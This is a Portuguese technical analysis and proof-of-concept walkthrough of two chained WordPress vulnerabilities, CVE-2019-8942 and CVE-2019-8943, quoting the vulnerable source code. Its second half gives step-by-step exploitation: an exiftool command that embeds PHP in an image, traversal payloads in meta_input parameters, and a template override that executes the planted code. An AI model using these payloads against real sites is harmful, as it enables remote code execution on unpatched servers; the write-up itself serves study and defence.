
Análise técnica detalhada e exploit de prova de conceito para vulnerabilidades RCE do WordPress CVE-2019-8942 e CVE-2019-8943, demonstrando LFI-para-RCE via path traversal e manipulação de upload de imagem.
CVE-2019-8942 é uma vulnerabilidade que explora a falha de LFI combinada com o recurso de upload de arquivo para realizar RCE no servidor web WordPress com privilégio de autor. As versões afetadas do WordPress incluem anteriores à 4.9.9 e 5.x até antes de 5.0.1, permitindo execução remota de código porque o valor wp_attached_file do Post Meta pode ser alterado para uma string qualquer, por exemplo: .jpg?file.php. Um atacante com privilégio de autor pode executar código arbitrário enviando arquivos de imagem contendo código PHP malicioso nos metadados Exif. A exploração pode aproveitar o CVE-2019-8943.
Em CVE-2019-8943, o WordPress até a versão 5.0.3 possui a vulnerabilidade de Path traversal no método wp_crop_image(). Um atacante com permissão para usar o recurso de corte de imagem (autor) pode gravar arquivos de imagem em qualquer diretório usando nomes de arquivo com 2 extensões, como .jpg?/../../file.jpg.
author.A principal causa que permite ao usuário realizar RCE está na falha que permite sobrescrever o Post Meta.
Metadados podem ser entendidos como dados que descrevem dados; especificamente neste caso, os metadados são as informações sobre o blog, como: título, data de publicação, nome do autor,...
No código-fonte do WordPress versão 4.9.8, quando uma imagem é atualizada, a função edit_post() é chamada. O que vale notar aqui é que essa função opera diretamente com o array $_POST. O wp_update_post recebe diretamente $post_data como parâmetro, sem verificar quais campos de dados são permitidos de editar.
function edit_post( $post_data = null ) {
global $wpdb;
if ( empty($post_data) )
$post_data = &$_POST;
...
if ( isset($post_data['meta']) && $post_data['meta'] ) {
foreach ( $post_data['meta'] as $key => $value ) {
if ( !$meta = get_post_meta_by_id( $key ) )
continue;
if ( $meta->post_id != $post_ID )
continue;
if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $meta->meta_key ) )
continue;
if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) )
continue;
update_meta( $key, $value['key'], $value['value'] );
}
}
...
update_post_meta( $post_ID, '_edit_last', get_current_user_id() );
$success = wp_update_post( $post_data );
if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
$fields = array( 'post_title', 'post_content', 'post_excerpt' );
foreach ( $fields as $field ) {
if ( isset( $post_data[ $field ] ) ) {
$post_data[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $post_data[ $field ] );
}
}
wp_update_post( $post_data );
}
wp-admin/includes/post.php
Um usuário com permissão para publicar posts pode sobrescrever os valores do Post Meta. Mais especificamente, um atacante pode alterar o valor do metadado _wp_attached_file. Isso não altera o nome do arquivo; apenas muda o arquivo com o qual o WordPress opera ao realizar a edição. Isso leva à exploração de Path Traversal.

wp_postmetaantes da exploração
Pode-se ver que o arquivo enviado tem o formato YYYY/MM/name.jpg; o WordPress salva o arquivo no diretório YYYY/MM/, o que nos remete à exploração de Path Traversal.
Na função wp_crop_image(), quando o usuário author corta uma imagem, o WordPress verifica se a imagem existe de duas maneiras. A primeira é procurar a imagem com base em _wp_attached_file no diretório wp-content/uploads.
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
$src_file = $src;
if ( is_numeric( $src ) ) { // Handle int as attachment ID
$src_file = get_attached_file( $src );
if ( ! file_exists( $src_file ) ) {
// If the file doesn't exist, attempt a URL fopen on the src link.
// This can occur with certain file replication plugins.
$src = _load_image_to_edit_path( $src, 'full' );
} else {
$src = $src_file;
}
}
$editor = wp_get_image_editor( $src );
...
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
wp-admin/includes/image.php
Se o método acima falhar, o WordPress tentará baixar a imagem do próprio servidor, gerando uma URL contendo o caminho para o diretório wp-content/uploads e o nome do arquivo presente em _wp_attached_file. A tentativa de baixar a imagem em vez de obtê-la localmente ocorre porque, em alguns casos, certos plugins geram a imagem quando essa URL é solicitada.
Quando o WordPress baixa a imagem com sucesso por meio do método wp_get_image_editor(), o corte é realizado. A imagem cortada é então salva no sistema de arquivos. O nome do arquivo será o valor da variável $src retornado por get_post_meta(), que está sob controle do atacante. O WordPress criará um diretório usando o método wp_mkdir_p() (linha 9) e salvará a imagem nele com save(). Percebe-se que o método save() não faz nenhuma verificação para impedir a exploração de Path Traversal.
...
$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
if ( is_wp_error( $src ) )
return $src;
if ( ! $dst_file )
$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
wp_mkdir_p( dirname( $dst_file ) );
$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
$result = $editor->save( $dst_file );
O uso de payload passado para _wp_attached_file contendo os caracteres #/../../ não corresponderá a um caminho existente quando o método 1 de carregamento de imagem for usado; portanto, o WordPress usará o método 2, gerando a URL para baixar a imagem. Nesse caso, o caminho terá a forma http://localhost/wp-admin/wp-content/uploads/YYYY/MM/name.jpg#/name.jpg. Como é uma URL, os caracteres após # (que indicam o fragmento) são ignorados. O nome de arquivo encontrado será name.jpg#/name.jpg, em que name.jpg# é um diretório — um nome válido. Em seguida, utiliza-se um payload como /name.jpg#/../../name.jpg para explorar o Path Traversal.

Pode-se ver que campos de valor como
_wp_attach_filee_wp_page_templateforam modificados
Path Traversal para RCE
Cada página do WordPress usa um tipo de tema e também possui uma pasta /wp-content/themes/theme_name/ contendo os arquivos de template. Em alguns casos, é possível escolher o tema de um post. O usuário só precisa definir _wp_page_template na tabela Post Meta para o nome de arquivo desejado. No entanto, a limitação é que isso só é válido para arquivos dentro do diretório do tema. Normalmente, esse diretório não pode ser acessado nem receber uploads. Porém, podemos aproveitar a exploração de Path Traversal para gravar arquivos nesse diretório. Um atacante author criará um post e sobrescreverá o valor do parâmetro _wp_page_template com o arquivo de imagem. O arquivo de imagem terá código PHP malicioso incorporado; quando a imagem for carregada, o código PHP será executado -> RCE.
Passo 1: Use o wpscan para identificar o tema usado pelo site => twentyseventeen

Passo 2: Use a ferramenta Exiftool para inserir o código PHP malicioso na imagem
exiftool demo.jpg -documentname="<?php phpinfo();?>"

Passo 3: Faça login no admin do site com a conta author, vá até o recurso Media -> Add new -> Upload de imagem.

Passo 4: Acesse a imagem. Clique em Edit more details

Passo 5: Clique em Update e use o Burpsuite para interceptar a requisição -> envie para o repeater


Passo 6: Clique em Edit image, corte a imagem e clique em Save. Intercepte a requisição que salva a imagem e envie para o repeater.


Passo 7: Use a requisição do Passo 5, adicione o parâmetro &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/file à requisição. Esta requisição preparará a criação da pasta file.jpg# e copiará a imagem file para esse diretório.
Passo 8: Envie a requisição do Passo 6 para salvar a imagem. Observe que a pasta file.jpg# foi criada e a imagem foi salva no diretório YYYY/MM/file.jpg#.
Passo 9: Semelhante ao passo 7, use a requisição do Passo 5, adicione o parâmetro &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/../../../../themes/twentyseventeen/file à requisição. Como conhecemos a estrutura de diretórios do WordPress e o nome do tema, podemos criar o payload acima.

Passo 10: Envie a requisição do Passo 6 para salvar a imagem. Veja que a imagem foi salva no novo caminho.

Passo 11: Vá até o recurso Posts -> Add new. Clique em Publish. Intercepte a requisição e envie para o repeater.

Passo 12: Use a requisição do Passo 11, adicione o parâmetro &meta_input[_wp_page_template]=cropped image, em que cropped image é o nome do arquivo de imagem do Passo 10.

Passo 13: Acesse o post acima e veja o código malicioso na imagem sendo executado.

Payload com as 3 requisições usadas:
&meta_input[_wp_attached_file]=year/month/file#/file
&meta_input[_wp_attached_file]=year/month/file#/../../../../themes/twentyseventeen/file
&meta_input[_wp_page_template]=<cropped image>